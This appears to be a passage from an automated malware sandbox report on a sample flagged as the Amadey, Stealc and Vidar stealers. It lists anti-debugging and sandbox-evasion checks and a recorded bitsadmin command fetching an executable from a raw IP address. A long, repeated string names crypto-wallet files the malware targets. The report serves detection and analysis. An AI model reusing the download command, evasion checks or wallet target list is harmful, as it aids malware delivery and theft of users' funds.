find Processors Control Blocks. Please,
Source: skotes.exe, 0000001C.00000002.3422980977.000000000156A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: Web Data.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsGCFIIEBKEG.exe

Code function: 25_2_05790B88 Start: 05790BA5 End: 05790B9F

25_2_05790B88

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsGCFIIEBKEG.exe

Code function: 25_2_05790153 rdtsc

25_2_05790153

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C953480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C8652B mov eax, dword ptr fs:[00000030h]		28_2_00C8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C8A302 mov eax, dword ptr fs:[00000030h]		28_2_00C8A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C98B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2020, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGCFIIEBKEG.exe "C:\Users\user\DocumentsGCFIIEBKEG.exe"
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe "C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe"
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 1 8.8.8.8
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe bitsadmin /transfer "DownloadUnRAR" /priority high "http://194.15.46.189/UnRAR.exe" "C:\Users\user\AppData\Local\Temp\UnRAR.exe"

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "c:\program files (x86)\microsoft\edge\application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.winrtappidservice --lang=en-gb --service-sandbox-type=none --mojo-platform-channel-handle=6040 --field-trial-handle=2052,i,268062644452062670,138675144125544657,262144 /prefetch:8

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe

Code function: 30_2_6FC61096 GetModuleFileNameW,GlobalAlloc,CharPrevW,GlobalFree,GetTempFileNameW,CopyFileW,CreateFileW,CreateFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,CloseHandle,lstrcatW,lstrlenW,GlobalAlloc,FindWindowExW,FindWindowExW,FindWindowExW,lstrcmpiW,lstrcmpiW,lstrcmpiW,DeleteFileW,GetVersion,GlobalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreatePipe,CreatePipe,CreatePipe,GetStartupInfoW,CreateProcessW,lstrcpyW,GetTickCount,WaitForSingleObject,GetExitCodeProcess,PeekNamedPipe,GetTickCount,ReadFile,IsTextUnicode,IsDBCSLeadByteEx,MultiByteToWideChar,lstrcpyW,GlobalReAlloc,lstrcpyW,GetTickCount,TerminateProcess,lstrcpyW,Sleep,lstrcpyW,wsprintfW,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,DeleteFileW,GlobalFree,GlobalFree,GlobalFree,

30_2_6FC61096

Source: file.exe, file.exe, 00000000.00000002.2678119998.000000000083E000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98B341 cpuid

0_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9535A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_00C565E0 LookupAccountNameA,

28_2_00C565E0

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe

30_2_00403552

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 28.2.skotes.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.DocumentsGCFIIEBKEG.exe.dc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000003.2706955023.0000000005430000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3420805105.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2709127901.0000000000DC1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3292431659.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2747558518.0000000000C51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2668565820.00000000055A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2677567170.0000000000461000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2168005670.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2679757495.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2020, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2020, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 